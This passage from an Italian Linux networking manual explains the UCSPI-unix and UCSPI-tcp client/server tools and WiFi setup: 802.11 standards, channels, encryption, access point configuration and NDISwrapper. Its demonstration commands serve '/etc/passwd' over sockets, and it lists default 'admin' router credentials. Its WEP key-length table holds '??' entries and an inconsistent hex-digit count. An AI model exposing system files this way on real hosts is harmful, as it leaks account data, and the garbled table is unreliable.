In questo modo, si usa ancora '**`cat`**', che attraverso lo standard input riceve invece quanto proveniente dal descrittore sei; quindi, quanto emesso da '**`cat`**' viene controllato da '**`less`**' (il descrittore sette non viene usato e questo significa che nulla viene inviato all'applicazione remota). Supponendo che lo script si chiami '**`visualizza`**' e sia collocato nella directory corrente:

$ ***cliente indirizzo*** **`./visualizza`** [*Invio*]

Ciò dovrebbe essere sufficiente per poter visualizzare a ogni collegamento il contenuto del file '`/etc/passwd`' dell'elaboratore in cui si trova il servente.

Nell'esempio è stata mostrata una ridirezione particolare: '**`<&6-`**'. Il trattino finale serve a chiudere lo standard input e non è strettamente indispensabile. Nel caso la shell non consenta di usare questa combinazione, va bene anche soltanto '**`<&6`**'.

40.5 UCSPI-unix

UCSPI-unix[2] è un pacchetto che realizza l'interfaccia UCSPI per le comunicazioni attraverso socket di dominio Unix. Si compone principalmente di due programmi, la cui sintassi specifica si descrive nel modo seguente:

unixserver [***opzioni***] ***file_socket*** ***applicazione*** [***argomenti_applicazione***]

unixclient [***opzioni***] ***file_socket*** ***applicazione*** [***argomenti_applicazione***]

Come si può intendere, '**unixserver**' apre un socket di dominio Unix (un file) e attende una connessione, mentre '**unixclient**' contatta la controparte attraverso l'indicazione dello stesso file.

La comunicazione con l'applicazione rispettiva avviene secondo le modalità delle interfacce UCSPI e le opzioni sono quelle comuni, con l'aggiunta di altre specifiche per il tipo di *socket* (si consulti eventualmente *unixserver(1)*).

Volendo adattare l'esempio già mostrato in forma generalizzata a questo tipo di interfaccia, i comandi potrebbero essere quelli seguenti. Dal lato del servente:

$ **unixserver /tmp/socket-prova cat /etc/passwd**[*Invio*]

Dal lato del cliente serve uno script e il comando che avvia lo script:

```
#!/bin/sh
# ./visualizza
cat <&6- | less
```

$ **unixclient /tmp/socket-prova ./visualizza**[*Invio*]

Naturalmente, la scelta del file '/tmp/socket-prova' è arbitraria e dipende da come si avvia il servente.

Utilizzando uno script differente, è possibile controllare lo stato delle variabili di ambiente:

```
#!/bin/sh
set
```

Avviando '**unixclient**' con questo script, si possono notare, tra le altre, le variabili seguenti, che riguardano precisamente UCSPI-unix:

```
PROTO=UNIX
UNIXLOCALGID=1001
UNIXLOCALPATH=/tmp/socket-prova
UNIXLOCALPID=2145
UNIXLOCALUID=1001
UNIXREMOTEEGID=1001
UNIXREMOTEEUID=1001
UNIXREMOTEPID=2112
```

Le informazioni che derivano da queste variabili dovrebbero essere comprensibili già dal nome di queste, comunque vengono descritte brevemente nell'elenco seguente.

Variabile	Descrizione
`PROTO`	Contiene la stringa '**`UNIX`**' a indicare che si tratta di socket di dominio Unix.
`UNIXLOCALUID` `UNIXLOCALGID`	Si tratta rispettivamente del numero UID e GID del processo avviato localmente.
`UNIXLOCALPID`	Si tratta nel numero abbinato al processo locale.
`UNIXLOCALPATH`	Si tratta nel file *socket* a cui si fa riferimento per la connessione (lo stesso nome da entrambi i lati).
`UNIXREMOTEEUID` `UNIXREMOTEEGID`	Si tratta rispettivamente del numero UID e GID del processo avviato dall'altra parte.
`UNIXREMOTEPID`	Si tratta nel numero abbinato al processo remoto.

40.6 UCSPI-tcp

UCSPI-tcp[3] è un pacchetto che realizza l'interfaccia UCSPI per le comunicazioni attraverso socket di dominio Internet, precisamente il protocollo TCP. Si compone principalmente di due programmi, la cui sintassi specifica si descrive nel modo seguente:

`tcpserver` [***opzioni***] ***nodo porta applicazione*** [***argomenti_applicazione***]

`tcpclient` [***opzioni***] ***nodo porta applicazione*** [***argomenti_applicazione***]

Anche in questo caso, '**`tcpserver`**' è il programma che si mette in ascolto (aprendo un socket di dominio Internet, con il protocollo TCP), mentre '**`tcpclient`**' contatta la controparte. Dal momento che si utilizza il protocollo TCP, il riferimento usato per comunicare è formato dall'indirizzo IP e dalla porta TCP del servente.

La comunicazione con l'applicazione rispettiva avviene secondo le modalità delle interfacce UCSPI e le opzioni sono quelle comuni, con l'aggiunta di altre specifiche per il tipo di *socket* (si consulti eventualmente *tcpserver(1)* e *tcpclient(1)*). In particolare, nel servente è possibile

stabilire il numero massimo di connessioni in coda; inoltre, entrambe le parti possono fissare un tempo massimo di scadenza per i tentativi di connessione.

Volendo adattare l'esempio già mostrato in forma generalizzata a questo tipo di interfaccia, i comandi potrebbero essere quelli seguenti. Dal lato del servente:

$ **tcpserver dinkel.brot.dg 1234 cat /etc/passwd** [*Invio*]

Dal lato del cliente serve uno script e il comando che avvia lo script:

```
#!/bin/sh
# ./visualizza
cat <&6- | less
```

$ **tcpclient dinkel.brot.dg 1234 ./visualizza** [*Invio*]

Naturalmente, la scelta della porta 1234 è arbitraria, salvo il fatto che deve essere una porta libera e non privilegiata, dal momento che, nell'esempio, il servente viene avviato da un utente comune.

La comunicazione può risultare un po' in ritardo rispetto alle aspettative, nel caso venga fatta prima una verifica dell'identità delle parti attraverso il protocollo IDENT.

Utilizzando uno script differente, è possibile controllare lo stato delle variabili di ambiente:

```
#!/bin/sh
set
```

Avviando '**tcpclient**' con questo script, si possono notare, tra le altre, le variabili seguenti, che riguardano precisamente UCSPI-tcp:

```
PROTO=TCP
TCPLOCALHOST=roggen.brot.dg
TCPLOCALIP=192.168.1.2
TCPLOCALPORT=32993
TCPREMOTEHOST=dinkel.brot.dg
TCPREMOTEINFO=
TCPREMOTEIP=192.168.1.1
TCPREMOTEPORT=1234
```

Le informazioni che derivano da queste variabili dovrebbero essere comprensibili già dal nome di queste, comunque vengono descritte brevemente nell'elenco seguente.

Variabile	Descrizione
`PROTO`	Contiene la stringa '**TCP**' a indicare che si tratta di socket di dominio Internet con protocollo TCP.

`TCPLOCALHOST`
`TCPLOCALIP`
`TCPLOCALPORT`
	Si tratta rispettivamente del nome, dell'indirizzo IP e della porta nell'ambito locale.

Variabile	Descrizione

`TCPREMOTELHOST`
`TCPREMOTEIP`
`TCPREMOTEPORT`
	Si tratta rispettivamente del nome, dell'indirizzo IP e della porta nell'elaboratore remoto.

`TCPREMOTEINFO`	Informazioni particolari sulla controparte remota, ammesso che siano disponibili.

È da tenere in considerazione il fatto che '**`tcpserver`**' può essere controllato per evitare gli accessi indesiderati. Per questo si deve usare l'opzione '**`-x`**', abbinando un file costruito con '**`tcprules`**', il quale fa parte dello stesso pacchetto UCSPI-tcp (si veda *tcprules(1)*).

40.7 Riferimenti

- Jim Frost, *BSD sockets: a quick and dirty primer*

  ⟨*http://www.google.com/search?q=Jim+Frost+BSD+sockets+a+quick+and+dirty+primer* ⟩

- D. J. Bernstein, *UNIX Client-Server Program Interface, UCSPI-1996*, 1996

  ⟨*http://cr.yp.to/proto/ucspi.txt* ⟩

[1] In lingua inglese, UCSPI si pronuncia praticamente come se venisse letto nella lingua italiana: «u-c-s-p-i».

[2] **UCSPI-unix** GNU GPL

[3] **UCSPI-tcp** software libero per il quale non è consentita la diffusione in forma binaria, salvo approvazione esplicita da parte dell'autore

Capitolo 41

WiFi, IEEE 802.11, ISO/IEC 8802.11

41.1 LAN e WLAN 2284
41.2 Standard di comunicazione 2285
41.3 Canale di comunicazione 2286
41.4 ESSID: extended service set id 2286
41.5 Crittografia 2287
41.6 Configurazione di un punto di accesso 2288
41.7 Configurazione automatica dei nodi periferici 2290
41.8 Ruoli o modalità di funzionamento 2290
41.9 Preparazione del kernel Linux 2292
41.10 Individuazione dell'interfaccia di rete senza fili 2294
41.11 NDISwrapper 2295
41.11.1 Casi particolari 2298
41.11.2 WINE per estrarre i file 2298
41.12 Utilizzo di «iwconfig» 2299
41.13 Utilizzo di «iwlist» 2302
41.14 Gestione attraverso WPA Supplicant 2304
41.14.1 Configurazione di WPA Supplicant 2305
41.15 Riferimenti 2307

`iwconfig` 2299 `iwlist` 2302 `wpa_supplicant` 2304 `wpa_supplicant.conf` 2304 2305

Con la sigla WiFi si identifica un insieme di dispositivi conformi alle specifiche IEEE 802.11, ovvero ISO/IEC 8802.11, le quali definiscono una tecnologia di comunicazione dati via radio, per le reti locali. A questo proposito si usa la sigla WLAN (*Wireless LAN*) per distinguere il fatto che la rete locale è connessa fisicamente via radio e non attraverso un cablaggio tradizionale.

Figura 41.1. Collocazione dei componenti di una rete WiFi nel modello ISO-OSI.

applicazione	*applicazione con il suo protocollo (FTP, HTTP, SMTP, ecc.)*	
presentazione		
sessione		
trasporto	*protocolli TCP, UDP, ICMP,...*	TCP/IP
rete	*protocollo IP*	
collegamento dati	*protocollo della rete fisica sottostante*	Ethernet e WiFi
fisico		

41.1 LAN e WLAN

Lo standard IEEE 802.11 definisce sostanzialmente dei componenti che riguardano i primi due livelli del modello ISO/OSI, fisico e collegamento dati, analogamente a quanto avviene con una rete Ethernet. Per fare un'associazione tra une rete locale cablata tradizionale e una rete locale senza fili, il componente che fa da concentratore (*switch* o commutatore di pacchetto) viene sostituito con quello che è noto come *access point*, ovvero da un ***punto di accesso***.

Figura 41.2. Una rete locale cablata tradizionale, a confronto con una rete locale senza fili, equivalente.

La potenza usata per la comunicazione via radio è estremamente bassa, pertanto, in condizioni normali, si possono coprire solo brevi distanze, soprattutto all'interno di un edificio a causa della divisione dello spazio in stanze. Come in una rete locale cablata, dove i componenti concentratori possono essere messi in cascata, anche i punti di accesso possono essere multipli, con la differenza che i vari nodi collegati senza filo negoziano e aggiornano automaticamente la connessione con questo o quel punto.

Figura 41.3. Una rete locale cablata tradizionale, articolata con più di un concentratore.

Figura 41.4. Una rete locale mista, con cablaggio e vari punti di accesso via radio.

Così come è possibile costruire una rete locale articolata con diversi punti di accesso, si può realizzare una rete metropolitana completa, a uso di tutti i suoi cittadini, anche se in tal caso la tecnologia che collega i vari punti di accesso non può essere la stessa usata per le reti locali comuni.

41.2 Standard di comunicazione

Nell'ambito dello standard IEEE 802.11, esistono diverse alternative nel modo di comunicare tra i componenti, pertanto si usa considerare una lettera minuscola aggiuntiva, con la quale si specifica il livello di tale tipo di comunicazione. In particolare va notato che le frequenze radio utilizzate sono quelle attorno ai 2,4 GHz e quelle attorno ai 5 GHz, dove le prime sono le più usate nell'ambito delle reti locali.

Le frequenze intorno ai 2,4 GHz possono essere disturbate dalla vicinanza di forni a microonde, i quali operano nello stesso spettro. Pertanto, la presenza di tali forni va considerato prima di progettare una rete locale senza fili.

La tabella successiva mostra quali sono i livelli comuni dello standard. Va osservato che i componenti più facili da reperire sono conformi, generalmente, allo standard «b» e «g».

Tabella 41.5. Livelli comuni dello standard IEEE 802.11.

Livello	Banda di frequenze	Flusso massimo di dati
802.11a	5 GHz	54 Mbit/s
802.11b	2,4 GHz	11 Mbit/s
802.11g	2,4 GHz	54 Mbit/s

41.3 Canale di comunicazione

Le varie bande attribuite al WiFi sono suddivise in canali. In una rete organizzata attraverso dei punti di accesso, il canale di ogni punto di accesso deve essere configurato espressamente, avendo cura di cercare un canale differente per ogni uno. Al contrario, i nodi che si devono collegare ai punti di accesso scandiscono i canali alla ricerca del primo punto di accesso disponibile.

È possibile fare funzionare reti logiche distinte, benché funzionanti sullo stesso canale, ma è evidente che ciò impoverisce le prestazioni della comunicazione.

Tabella 41.6. Canali della banda dei 2,4 GHz. In generale si parte da 2,412 GHz con incrementi di 0,005 GHz (cinque megahertz), tranne per il canale 14 che è più distanziato.

Canale	Frequenza	Canale	Frequenza
1	2,412 GHz	2	2,417 GHz
3	2,422 GHz	4	2,427 GHz
5	2,432 GHz	6	2,437 GHz
7	2,442 GHz	8	2,447 GHz
9	2,452 GHz	10	2,457 GHz
11	2,462 GHz	12	2,467 GHz
13	2,472 GHz	14	2,484 GHz

41.4 ESSID: extended service set id

Dal momento che più reti senza fili possono interferire tra di loro, è necessario un modo per definire a quale «rete logica» ogni nodo appartiene. In altri termini si definisce una sorta di dominio, individuato da un nome, il quale viene assegnato a tutti i nodi di una certa rete logica, in modo che ognuno sappia distinguere i dati che gli appartengono da quelli che invece deve ignorare. Questo nome è definito come ESSID, ovvero *Extended service set id*, il quale viene spesso abbreviato solo come SSID.

Figura 41.7. Distinzione di due WLAN attraverso il nome che definisce l'identità ESSID.

41.5 Crittografia

Le comunicazioni via radio dello standard IEEE 802.11 possono essere gestite in chiaro o attraverso diversi sistemi crittografici. Una comunicazione in chiaro consente ai nodi di potervi partecipare senza bisogno di informazioni aggiuntive, perché il dominio ESSID può essere scandito automaticamente, mentre per le comunicazioni cifrate comuni si richiede la conoscenza di una chiave segreta (salva la possibilità di usare anche altri metodi di autenticazione).

Le reti senza fili, non cifrate, si prestano così per gli accessi pubblici, concessi a tutti indiscriminatamente, nell'ambito del raggio di azione della comunicazione radio stessa. In tal caso, gli utenti devono sapere che la loro comunicazione può essere intercettata da chiunque nelle vicinanze, pertanto le informazioni delicate possono essere fornite soltanto se all'interno di protocolli con un proprio sistema cifrato (come HTTPS per esempio).

Il primo sistema di cifratura usato per le reti WiFi è stato quello denominato WEP, ovvero *Wired equivalent privacy*, divenuto subito poco efficace, a causa della scoperta di un difetto nell'algoritmo usato. Successivamente si è introdotto il metodo WPA, o *WiFi protected access*, il quale può essere usato secondo varie modalità, tra cui l'uso di una chiave segreta come nel caso di WEP (PSK, ovvero *pre-shared key*), e l'uso di certificati elettronici (si veda eventualmente il capitolo 49 per la spiegazione di cosa siano certificato e firma elettronici). Quando per la configurazione del sistema crittografico deve essere fornita una chiave segreta, questa potrebbe essere richiesta in formato ASCII, oppure in esadecimale.

Il sistema crittografico WEP richiede la definizione di una chiave segreta che deve avere una dimensione esatta. Per la precisione, esistono varie versioni nella lunghezza di tale chiave, ma non sono ammissibili dimensioni intermedie. Tra i vari tipi di crittografica WEP, quelli usati comunemente sono il WEP-64 bit, con una chiave effettiva di 40 bit, e il WEP-128 bit, con una chiave effettiva di 104 bit.

Tabella 41.8. Lunghezza delle chiavi WEP ammissibili.

Tipo di crittografia WEP	Lunghezza della chiave in bit	Lunghezza della chiave in byte	Lunghezza della chiave in cifre esadecimali
64 bit	40 bit	5 byte	10 cifre
??	64 bit	8 byte	16 cifre
128 bit	104 bit	13 byte	26 cifre
??	128 bit	16 byte	32 cifre
??	152 bit	19 byte	28 cifre

Tipo di crittografia WEP	Lunghezza della chiave in bit	Lunghezza della chiave in byte	Lunghezza della chiave in cifre esadecimali
??	232 bit	29 byte	58 cifre
??	256 bit	32 byte	64 cifre

Figura 41.9. Due WLAN con configurazione indipendente del nome ESSID e del sistema crittografico.

41.6 Configurazione di un punto di accesso

I punti di accesso sono scatoline che spesso integrano le funzionalità di un commutatore di pacchetto (*switch*) e dispongono di un proprio sistema operativo, con cui si interagisce attraverso un servente HTTP incorporato. In altri termini, queste scatole dispongono di un proprio indirizzo IPv4, al quale ci si collega con l'aiuto di un navigatore ipertestuale, per la configurazione.

Figura 41.10. Per la configurazione di un punto di accesso serve inizialmente un collegamento provvisorio attraverso un cavo Ethernet tradizionale. L'indirizzo per il collegamento è indicato normalmente nel manuale dell'apparecchio e l'utenza amministrativa è solitamente '**`admin`**'.

L'indirizzo a cui ci si deve collegare inizialmente, nella maggior parte dei casi è 192.168.0.1 (*`http://192.168.0.1`*); l'utenza amministrativa è normalmente '**`admin`**', mentre la pa-

rola d'ordine da fornire per accedere potrebbe essere inizialmente «admin», «default» o nulla. Naturalmente va consultato per questo il manuale dell'apparecchio, inoltre, questi oggetti sono provvisti di un pulsantino di ripristino della configurazione di partenza, nei casi in cui si dimentichi la parola d'ordine o sia stata memorizzata una configurazione che non si riesce a modificare ulteriormente.

Tabella 41.11. Esempio di configurazione di un punto di accesso.

Voce di configurazione	Valore attribuito
`management IP address`	192.168.0.1
`netmask`	255.255.255.0
`mode`	AP (*Access point*)
`band`	2.4 GHz, b+g
`ESSID`	appunti2
`channel`	11
`encryption`	WPA-PSK (*WPA pre-shared key*)
`WPA unicast cipher suite`	TKIP
`key format`	ASCII string
`PSK (pre-shared key)`	segretissimo

Nell'esempio di configurazione riportato dalla tabella si può osservare che sarebbe possibile fornire la chiave segreta di accesso in una forma differente (per la precisione in esadecimale). Tuttavia, esistono dei punti di accesso che non consentono una forma diversa di indicazione di tale chiave per il tipo WPA-PSK (come nel caso scelto). Al contrario, quando si sceglie una crittografia di tipo WEP, si potrebbe essere costretti a fornire la chiave in forma esadecimale. Nella tabella successiva si vede la variante della configurazione in presenza di un sistema crittografico WEP-128 bit (con chiave lunga 104 bit, ovvero 13 byte). Va osservato che le chiavi da indicare sono quattro, da usare in modo alternativo.

Tabella 41.12. Esempio alternativo di configurazione per la crittografia WEP.

Voce di configurazione	Valore attribuito
`encryption`	WEP
`key length`	128 bit
`key format`	ASCII (13 characters)
`WEP key 0`	asdfghjklzxcv
`WEP key 1`	sdfghjklzxcvb
`WEP key 2`	dfghjklzxcvbn

Voce di configurazione	Valore attribuito
`WEP key 3`	fghjklzxcvbnm

Si può notare che, di norma, si possono scegliere solo due tipi di chiavi WEP: una basata su un sistema a 64 bit che utilizza chiavi da 40 bit (5 byte), e una basata su un sistema a 128 bit che utilizza chiavi da 104 bit (13 byte).

41.7 Configurazione automatica dei nodi periferici

Nella progettazione di una rete senza fili, con l'ausilio di uno o più punti di accesso, si prevede generalmente un sistema di assegnazione automatica degli indirizzi IPv4 attraverso il protocollo DHCP. Di solito le apparecchiature che svolgono il ruolo di punti di accesso sono in grado di attivare un servizio DHCP; tuttavia, in presenza di più di uno di questi apparecchi nella stessa rete logica che si vuole gestire, fa sì che il servizio DHCP debba essere gestito esternamente a questi.

Figura 41.13. Collocazione del servizio DHCP.

41.8 Ruoli o modalità di funzionamento

Nell'ambito di una rete senza fili, i nodi che la compongono (nodi per il livello due del modello ISO/OSI) possono avere ruoli differenti, i quali dipendono anche da una modalità operativa che può essere diversa da quanto mostrato fino a questo punto nel capitolo.

Le modalità più comuni per la gestione di una rete senza fili sono il tipo *infrastructure*, ovvero *managed*, e il tipo *ad-hoc*. I nodi che utilizzano queste modalità sono delle ***celle***, secondo la terminologia usata per il WiFi. Nel primo caso (*infrastructure* o *managed*) si hanno le reti gestite da uno o più punti di accesso, mentre nella modalità *ad-hoc* si hanno celle statiche, estranee alla gestione di punti di accesso. In altri termini, le celle *managed* possono passare dal controllo di vari punti di accesso (nell'ambito dello stesso ESSID), cambiando anche frequenza in modo automatico, mentre le celle *ad-hoc* sono configurate in un certo modo e così restano, come quando si opera in una rete locale cablata.

Figura 41.14. Confronto tra le modalità *ad-hoc* e *managed* (*infrastructure*).

Tabella 41.15. Alcune modalità di funzionamento di un componente WiFi.

Modalità	Descrizione
ad-hoc	Cella di una rete priva della gestione di punti di accesso.
infrastructure *managed*	Cella collegata attraverso dei punti di accesso.
punto di accesso	Nodo che funge da punto di accesso.
ripetitore	Nodo che ripete il segnale di altri nodi senza fili.

Tabella 41.16. Terminologia usata nella tecnologia WiFi.

Termine	Descrizione
WAP, *wireless access point* AP, *access point* punto di accesso	Componente che sostituisce idealmente il concentratore di una rete locale cablata. La modalità di funzionamento di una rete senza fili, per la quale si fa uso di uno o più punti di accesso, è nota come *infrastructure mode*, ovvero *managed mode*.
wireless NIC *wireless network interface*	È l'interfaccia di rete senza fili.
ESSID, *Extended service set id* SSID, *Service set id*	Nome identificativo della connessione, usato in tutti i componenti di una certa rete locale senza fili, per distinguerli da quelli di altre reti, presenti nello stesso raggio di azione.
WEP, *Wired equivalent privacy*	Sistema crittografico usato originariamente nelle reti senza fili. Attualmente questo sistema è superato, in quanto è molto facile scoprire la chiave necessaria a decifrarlo.
WPA, *WiFi protected access*	Sistema crittografico usato nelle reti senza fili, ritenuto molto più affidabile rispetto al WEP.
PSK, *Pre shared key*	Chiave segreta condivisa prima di poter instaurare la comunicazione.

41.9 Preparazione del kernel Linux

La gestione di una rete senza fili, con i sistemi GNU/Linux, implica la predisposizione di un kernel appropriato e l'uso di strumenti per la configurazione delle interfacce di rete di questo tipo, più o meno come avviene già per la gestione delle interfacce Ethernet. Tuttavia, le interfacce di rete da usare per le comunicazioni senza fili sono in una fase di rapida evoluzione tecnologica, con la conseguenza che il kernel non è sempre abbastanza aggiornato per gestirle con il proprio codice nativo. Pertanto, per questo tipo di attività, si può essere costretti a utilizzare dei gestori (*driver*) realizzati per MS-Windows, attraverso un modulo speciale in grado di amministrarli e di farli comunicare con il kernel stesso.

Nel kernel Linux, la gestione delle reti senza fili va attivata a partire dal menù *Networking*, *Wireless*:

```
{M} Improved wireless configuration API
[*]   nl80211 new netlink interface support
-*- Wireless extensions
<M> Generic IEEE 802.11 Networking Stack (mac80211)
[*]   Enable LED triggers
[ ]   Enable debugging output
{M} Generic IEEE 802.11 Networking Stack
[ ]   Enable full debugging output
-M-   IEEE 802.11 WEP encryption (802.1x)
<M>   IEEE 802.11i CCMP support
<M>   IEEE 802.11i TKIP encryption
<M>   Software MAC add-on to the IEEE 802.11 networking stack
[ ]     Enable full debugging output
```

Successivamente, dal menù *Device Drivers*, *Network device support*, *Wireless LAN*, vanno selezionati i componenti che si intendono usare:

```
[*] Wireless LAN (pre-802.11)
<M>   STRIP (Metricom starmode radio IP)
<M>   Aironet Arlan 655 & IC2200 DS support
<M>   AT&T/Lucent old WaveLAN & DEC RoamAbout DS ISA support
<M>   AT&T/Lucent old WaveLAN Pcmcia wireless support
<M>   Xircom Netwave AirSurfer Pcmcia wireless support
[*] Wireless LAN (IEEE 802.11)
<M>   Aviator/Raytheon 2.4MHz wireless support
<M>   Intel PRO/Wireless 2100 Network Connection
[ ]     Enable promiscuous mode
[ ]     Enable full debugging output in IPW2100 module.
<M>   Intel PRO/Wireless 2200BG and 2915ABG Network Connection
[ ]     Enable promiscuous mode
[*]     Enable QoS support
[ ]     Enable full debugging output in IPW2200 module.
<M>   Marvell 8xxx Libertas WLAN driver support
<M>     Marvell Libertas 8388 USB 802.11b/g cards
<M>     Marvell Libertas 8385 CompactFlash 802.11b/g cards
```

```
<M>     Marvell Libertas 8385 and 8686 SDIO 802.11b/g cards
[ ]     Enable full debugging output in the Libertas module.
<M>   Cisco/Aironet 34X/35X/4500/4800 ISA and PCI cards
<M>   Hermes chipset 802.11b support (Orinoco/Prism2/Symbol)
<M>     Hermes in PLX9052 based PCI adaptor support (Netgear MA301 etc.)
<M>     Hermes in TMD7160 based PCI adaptor support
<M>     Nortel emobility PCI adaptor support
<M>     Prism 2.5 PCI 802.11b adaptor support
<M>     Hermes PCMCIA card support
<M>     Symbol Spectrum24 Trilogy PCMCIA card support
<M>   Atmel at76c50x chipset  802.11b support
<M>     Atmel at76c506 PCI cards
<M>     Atmel at76c502/at76c504 PCMCIA cards
<M>   Cisco/Aironet 34X/35X/4500/4800 PCMCIA cards
<M>   Planet WL3501 PCMCIA cards
<M>   Intersil Prism GT/Duette/Indigo PCI/Cardbus
<M>   USB ZD1201 based Wireless device support
<M>   Realtek 8187 USB support
<M>   ADMtek ADM8211 support
<M>   Softmac Prism54 support
<M>     Prism54 USB support
<M>     Prism54 PCI support
[*]   Intel Wireless WiFi Link Drivers
[*]     Enable full debugging output in iwlwifi drivers
[*]     Enable Sensitivity Calibration in iwlwifi drivers
[*]     Enable Spectrum Measurement in iwlwifi drivers
[*]     Enable Wireless QoS in iwlwifi drivers
<M>     Intel Wireless WiFi 4965AGN
<M>     Intel PRO/Wireless 3945ABG/BG Network Connection
<M>   IEEE 802.11 for Host AP (Prism2/2.5/3 and WEP/TKIP/CCMP)
[ ]     Support downloading firmware images with Host AP driver
<M>     Host AP driver for Prism2/2.5/3 in PLX9052 PCI adaptors
<M>     Host AP driver for Prism2.5 PCI adaptors
<M>     Host AP driver for Prism2/2.5/3 PC Cards
<M>   Broadcom BCM43xx wireless support
[*]     Broadcom BCM43xx debugging (RECOMMENDED)
        BCM43xx data transfer mode (DMA + PIO)  --->
<M>   Broadcom 43xx wireless support (mac80211 stack)
[*]     Broadcom 43xx PCMCIA device support (EXPERIMENTAL)
[ ]     Broadcom 43xx debugging
        Broadcom 43xx data transfer mode (DMA + PIO)  --->
<M>   Broadcom 43xx-legacy wireless support (mac80211 stack)
[*]     Broadcom 43xx-legacy debugging
        Broadcom 43xx-legacy data transfer mode (DMA + PIO)  --->
<M>   ZyDAS ZD1211/ZD1211B USB-wireless support
[ ]     ZyDAS ZD1211 debugging
<M>   Ralink driver support
<M> Ralink rt2400 pci/pcmcia support
```

```
[*]   RT2400 rfkill support
<M> Ralink rt2500 pci/pcmcia support
[*]   RT2500 rfkill support
<M> Ralink rt61 pci/pcmcia support
[*]   RT61 rfkill support
<M> Ralink rt2500 usb support
<M> Ralink rt73 usb support
[ ] Ralink debug output
```

Come viene chiarito nelle sezioni successive, di solito la configurazione e compilazione del kernel non basta, perché occorre provvedere a compilare il modulo '**ndiswrapper**', attraverso sorgenti da procurarsi separatamente.

Una volta procurati i sorgenti per il modulo '**ndiswrapper**', dovrebbe essere sufficiente estrarli dall'archivio di distribuzione e quindi procedere con la compilazione e installazione. A ogni modo, perché il procedimento possa andare a buon fine, occorre che il kernel per il quale si vuole produrre tale modulo sia già in funzione e che i sorgenti di questo siano stati lasciati nella loro posizione originale (quella in cui si trovavano al momento della compilazione) e che non siano stati ripuliti dai file intermedi prodotti dalla compilazione stessa.

tar xzvf ndiswrapper-*versione*.tar.gz [*Invio*]

cd ndiswrapper-*versione* [*Invio*]

make [*Invio*]

make install [*Invio*]

Il modulo compilato in questo modo dovrebbe essere collocato automaticamente nella directory '/lib/modules/***versione_kernel***/misc/'.

A ogni modo, come viene chiarito nelle sezioni successive, il modulo '**ndiswrapper**' va attivato solo quando serve, senza poterlo poi disattivare, a meno di rischiare di bloccare il sistema operativo.

41.10 Individuazione dell'interfaccia di rete senza fili

La prima cosa che si può fare per verificare se il kernel ha riconosciuto l'interfaccia o le interfacce di rete senza fili, è la consultazione dei messaggi del kernel stesso (con '**dmsg**') e la visualizzazione del contenuto del file virtuale '/proc/net/wireless':

dmsg | less [*Invio*]

```
…
wlan0: ethernet device 00:1b:2f:c5:bb:0b using NDIS driver: ↩
↪wg311v3, version: 0x3020002, NDIS version: 0x501, vendor: ↩
↪'NDIS Network Adapter', 11AB:1FAA.5.conf
wlan0: encryption modes supported: WEP; TKIP with WPA, WPA2, ↩
↪WPA2PSK; AES/CCMP with WPA, WPA2, WPA2PSK
…
```

cat /proc/net/wireless [*Invio*]

```
Inter-| sta-|   Quality        |  Discarded packets             | Missed | WE
 face | tus | link level noise | nwid  crypt   frag retry misc | beacon | 22
 wlan0: 0000    0     0     0       0      0       0     0    0         0
```

A ogni modo, il fatto di avere rilevato le interfacce di rete senza fili, non garantisce che queste siano perfettamente sotto il controllo del sistema operativo, ma rimane comunque il punto di partenza necessario.

41.11 NDISwrapper

Quando il kernel Linux non dispone del codice necessario a controllare un certa interfaccia di rete senza fili, è necessario utilizzare invece NDISwrapper per pilotare il software di gestione della stessa interfaccia, ma compilato per MS-Windows. Il software in questione va scelto preferibilmente nella versione per MS-Windows XP, ammesso che sia prevista questa distinzione.

Di norma, il software per MS-Windows da usare (attraverso NDISwrapper) per la gestione dell'interfaccia di rete, viene allegato in un CD di accompagnamento. Eventualmente, tale software potrebbe essere collocato semplicemente in una directory di tale CD, oppure potrebbe ridotto a un archivio ('`.zip`', '`.cab`' o altro), ma potrebbe anche essere incorporato in un programma di installazione. A ogni modo, si tratta solitamente di tre file, che, con nomi simili, hanno le estensioni '`.inf`', '`.cat`' e '`.sys`', dove il file che termina per '`.inf`' è quello più importante e può essere letto per verificare quali altri file servono effettivamente. Naturalmente, trattandosi di file per MS-Windows non conta la distinzione tra lettere minuscole e maiuscole nei loro nomi.

NDISwrapper è costituito da un modulo per il kernel Linux e da un programma con il quale si caricano i *driver* di MS-Windows, tuttavia, in generale è necessario caricare prima i *driver* di MS-Windows e solo dopo è possibile caricare il modulo per il kernel Linux. Come logica conseguenza, una volta caricato il modulo di NDISwrapper non si possono aggiungere altri gestori, ma in più, è bene evitare di tentare di disattivarli. Pertanto, l'uso di NDISwrapper richiede di svolgere delle prove, in cui può essere necessario riavviare il sistema.

A titolo di esempio, viene mostrato uno script usato nella distribuzione NLNX (volume III). Questo script verifica se il modulo di NDISwrapper non è stato ancora utilizzato nel kernel, quindi, se ciò non è ancora avvenuto, prende in gestione i file presenti in una certa directory e infine carica il proprio modulo:

```
#!/bin/sh
WIN_DRV_DIR="/etc/windows-drivers/wifi/"
DRIVER=""
#
# If the ndiswrapper module is loaded, nothing should be touched!
#
if lsmod | grep ndiswrapper > "/dev/null" 2> "/dev/null"
then
    echo "[$0] the ndiswrapper is already loaded!"
    exit
fi
```

```
#
# Remove ndiswrapper drivers.
#
for d in /etc/ndiswrapper/*
do
    if [ -d "$d" ]
    then
        d=`basename $d`
        echo "[$0] removing driver $d..."
        ndiswrapper -r "$d"
    fi
done
#
# Check if there are drivers to be loaded.
#
DRIVER=`ls $WIN_DRV_DIR/*.[iI][nN][fF] | tail -n 1`
#
if [ ! -r "$DRIVER" ]
then
    echo "[$0] there is no driver to install!"
    exit
fi
#
# There are drivers to load.
#
for d in $WIN_DRV_DIR/*.[iI][nN][fF]
do
    echo "[$0] installing $d ..."
    ndiswrapper -i "$d"
done
#
# Now is the time to load the ndiswrapper module.
#
echo "[$0] loading the ndiswrapper module..."
modprobe ndiswrapper
```

Segue un modello sintattico molto semplice per descrivere l'uso del programma '**`ndiswrapper`**', con il quale, principalmente, si caricano e scaricano i *driver* da gestire:

```
ndiswrapper opzione
```

Tabella 41.22. Alcune opzioni per l'uso del programma '**ndiswrapper**'.

Opzione	Descrizione
`-l`	Elenca i *driver* attualmente in uso.
`-i` ***file_inf***	Carica il *driver* descritto nel file indicato come argomento, il quale, di norma, ha un'estensione '`.inf`'.
`-r` ***nome_driver***	Rimuove la gestione del *driver* indicato per nome.

